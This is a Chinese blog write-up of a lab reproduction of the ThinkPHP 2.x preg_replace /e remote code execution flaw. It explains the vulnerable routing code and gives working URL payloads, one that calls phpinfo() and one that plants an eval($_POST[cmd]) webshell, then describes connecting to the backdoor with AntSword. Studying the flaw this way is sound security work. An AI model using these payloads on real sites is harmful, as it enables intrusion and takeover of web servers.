ThinkPHP 2.x 任意代码执行漏洞复现

复现环境

攻击机:win11

靶机:kali搭建的vulhub

ThinkPHP影响版本

Thinkphp2.x

原理简介

首先了解这个preg_replace()函数:执行一个正则表达式的搜索和替换。

简单来说可以这么理解preg_replace('正则规则','替换字符','目标字符')

若目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$ preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞

复现过程

(1)访问用kali的docker启动的环境 目标机的ip加上端口 例如:192.168.179.140:8080

 

(2)使用在URL后面加上不存在的路径报错爆处Thinkphp版本,或者看数据包

  

(3) 构造payload实现 phpinfo()和webshell

payload1:http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()} 

payload2:http://xx.xx.xx.xx.:8080/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}

${}讲解,在PHP当中,${}可以构造一个变量,{}写的是一般的字符,那么就会被当成变量,比如${x}等价于$x,那如果{}写的是函数名称,那么这个函数就会被执行; 

 

 

 

 (4) 用蚁剑连接后门,获得网站权限

 

(5)个人复现记录,如有错误,欢迎指正

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值